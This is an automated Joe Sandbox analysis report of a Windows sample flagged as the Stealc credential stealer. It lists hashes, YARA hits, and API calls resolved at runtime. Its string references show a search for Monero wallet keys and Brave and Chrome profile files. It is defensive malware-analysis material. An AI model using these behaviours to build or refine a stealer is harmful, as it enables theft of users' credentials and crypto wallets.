Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xf10000
File size:	1'873'408 bytes
MD5 hash:	A48636D4112E0E59DB4553623D563865
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1673431331.000000000087E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.1673431331.00000000008D9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.1432733405.0000000004CA0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	23.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	3.2%
Total number of Nodes:	2000
Total number of Limit Nodes:	28

Executed Functions

Function 00F29860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75550000,00890630), ref: 00F298A1
GetProcAddress.KERNEL32(75550000,00890678), ref: 00F298BA
GetProcAddress.KERNEL32(75550000,008907B0), ref: 00F298D2
GetProcAddress.KERNEL32(75550000,00890618), ref: 00F298EA
GetProcAddress.KERNEL32(75550000,00890720), ref: 00F29903
GetProcAddress.KERNEL32(75550000,00898880), ref: 00F2991B
GetProcAddress.KERNEL32(75550000,00886860), ref: 00F29933
GetProcAddress.KERNEL32(75550000,00886A20), ref: 00F2994C
GetProcAddress.KERNEL32(75550000,00890690), ref: 00F29964
GetProcAddress.KERNEL32(75550000,008907C8), ref: 00F2997C
GetProcAddress.KERNEL32(75550000,008907E0), ref: 00F29995
GetProcAddress.KERNEL32(75550000,00890648), ref: 00F299AD
GetProcAddress.KERNEL32(75550000,00886700), ref: 00F299C5
GetProcAddress.KERNEL32(75550000,008906A8), ref: 00F299DE
GetProcAddress.KERNEL32(75550000,008906D8), ref: 00F299F6
GetProcAddress.KERNEL32(75550000,00886900), ref: 00F29A0E
GetProcAddress.KERNEL32(75550000,008907F8), ref: 00F29A27
GetProcAddress.KERNEL32(75550000,00890900), ref: 00F29A3F
GetProcAddress.KERNEL32(75550000,00886940), ref: 00F29A57
GetProcAddress.KERNEL32(75550000,00890870), ref: 00F29A70
GetProcAddress.KERNEL32(75550000,00886A00), ref: 00F29A88
LoadLibraryA.KERNEL32(008908E8,?,00F26A00), ref: 00F29A9A
LoadLibraryA.KERNEL32(00890918,?,00F26A00), ref: 00F29AAB
LoadLibraryA.KERNEL32(008908D0,?,00F26A00), ref: 00F29ABD
LoadLibraryA.KERNEL32(00890858,?,00F26A00), ref: 00F29ACF
LoadLibraryA.KERNEL32(00890888,?,00F26A00), ref: 00F29AE0
GetProcAddress.KERNEL32(75670000,008908A0), ref: 00F29B02
GetProcAddress.KERNEL32(75750000,008908B8), ref: 00F29B23
GetProcAddress.KERNEL32(75750000,00898C28), ref: 00F29B3B
GetProcAddress.KERNEL32(76BE0000,00898C88), ref: 00F29B5D
GetProcAddress.KERNEL32(759D0000,00886880), ref: 00F29B7E
GetProcAddress.KERNEL32(773F0000,008989E0), ref: 00F29B9F
GetProcAddress.KERNEL32(773F0000,NtQueryInformationProcess), ref: 00F29BB6

Strings

NtQueryInformationProcess, xrefs: 00F29BAA

Memory Dump Source

Source File: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: 934e8d978eae78a5a5103337a22c5cf9c4c8899c5b9a356a2b0078e5d2729f51
Instruction ID: 2d1ad02ab38791fd55a221319b544bde89cc8f6f283f248540877be088926aae
Opcode Fuzzy Hash: 934e8d978eae78a5a5103337a22c5cf9c4c8899c5b9a356a2b0078e5d2729f51
Instruction Fuzzy Hash: FEA12AB5590744DFD36CEFA8F5989563BF9FF88202704473AA7268324CD63A98C1DB50

Function 00F145C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 00F1460F
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 00F1479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00F145D2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00F1475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00F1477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00F1466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00F146AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00F14770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00F14622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00F14638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00F145DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00F14678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00F1471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00F14765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00F145C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00F146B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00F14657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00F14643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00F14662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00F145E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00F14713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00F1474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00F146CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00F146C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00F14683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00F1473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00F14617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00F1462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00F145F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00F146D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00F14734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00F14729

Memory Dump Source

Source File: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeapProtectVirtual
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 1542196881-2218711628
Opcode ID: 80d7127cb705d043f97b127e9f4b197854ab934c1524e6f8880a3b78a2f8ee91
Instruction ID: a00b085968ca2b921898cbada0d0d8c247a7dead9c3679cae37f0dda0f2c2f7c
Opcode Fuzzy Hash: 80d7127cb705d043f97b127e9f4b197854ab934c1524e6f8880a3b78a2f8ee91
Instruction Fuzzy Hash: C94137646C66047AEE6AF7E48846FAD7752DFC2F5AF507140EC0052286CBB0B5A0E723

Function 00F1BE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00F2A740: lstrcpy.KERNEL32(00F30E17,00000000), ref: 00F2A788

Part of subcall function 00F2A920: lstrcpy.KERNEL32(00000000,?), ref: 00F2A972
Part of subcall function 00F2A920: lstrcat.KERNEL32(00000000), ref: 00F2A982

Part of subcall function 00F2A9B0: lstrlen.KERNEL32(?,00898B40,?,\Monero\wallet.keys,00F30E17), ref: 00F2A9C5
Part of subcall function 00F2A9B0: lstrcpy.KERNEL32(00000000), ref: 00F2AA04
Part of subcall function 00F2A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00F2AA12

Part of subcall function 00F2A8A0: lstrcpy.KERNEL32(?,00F30E17), ref: 00F2A905

FindFirstFileA.KERNEL32(00000000,?,00F30B32,00F30B2B,00000000,?,?,?,00F313F4,00F30B2A), ref: 00F1BEF5
StrCmpCA.SHLWAPI(?,00F313F8), ref: 00F1BF4D
StrCmpCA.SHLWAPI(?,00F313FC), ref: 00F1BF63
FindNextFileA.KERNELBASE(000000FF,?), ref: 00F1C7BF
FindClose.KERNEL32(000000FF), ref: 00F1C7D1

Strings

Preferences, xrefs: 00F1C11E
Brave, xrefs: 00F1C102
Google Chrome, xrefs: 00F1C634
\Brave\Preferences, xrefs: 00F1C1DB

Memory Dump Source

Source File: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: 5d70c50ebc8c99918229f22a27794ea0a3660aca40f0426642bd7e8e601cb36d
Instruction ID: 53dac2972eb0f500c86e47e1978e082a8138570e208330ad673cd95b81645cfa
Opcode Fuzzy Hash: 5d70c50ebc8c99918229f22a27794ea0a3660aca40f0426642bd7e8e601cb36d
Instruction Fuzzy Hash: 514258729101189BDB14FB70ED96EED737DAF94300F404568F50A97181EF389B89EBA2

Function 00F24910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 00F2492C
FindFirstFileA.KERNEL32(?,?), ref: 00F24943
StrCmpCA.SHLWAPI(?,00F30FDC), ref: 00F24971
StrCmpCA.SHLWAPI(?,00F30FE0), ref: 00F24987
FindNextFileA.KERNEL32(000000FF,?), ref: 00F24B7D
FindClose.KERNEL32(000000FF), ref: 00F24B92

Strings

%s\%s, xrefs: 00F249FB
%s\*, xrefs: 00F24920
%s\%s, xrefs: 00F249A4

Memory Dump Source

Source File: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: e784226b95da7d0186130ebfab4b5123eacc4ef15c984286ca01840d897e2a8f
Instruction ID: c3949171218fb8ac26fcac8b6d61b389dcb58472a6b7f8e26d758a9a6454ea93
Opcode Fuzzy Hash: e784226b95da7d0186130ebfab4b5123eacc4ef15c984286ca01840d897e2a8f
Instruction Fuzzy Hash: 636156B1900218ABCB34EBA0EC45EEA737CBF48701F044698B61997145EF75EB85DFA1

Function 00F23EA0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00F23EC3
FindFirstFileA.KERNEL32(?,?), ref: 00F23EDA
StrCmpCA.SHLWAPI(?,00F30FAC), ref: 00F23F08
StrCmpCA.SHLWAPI(?,00F30FB0), ref: 00F23F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 00F2406C
FindClose.KERNEL32(000000FF), ref: 00F24081

Strings

%s\%s, xrefs: 00F23EB7

Memory Dump Source

Source File: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
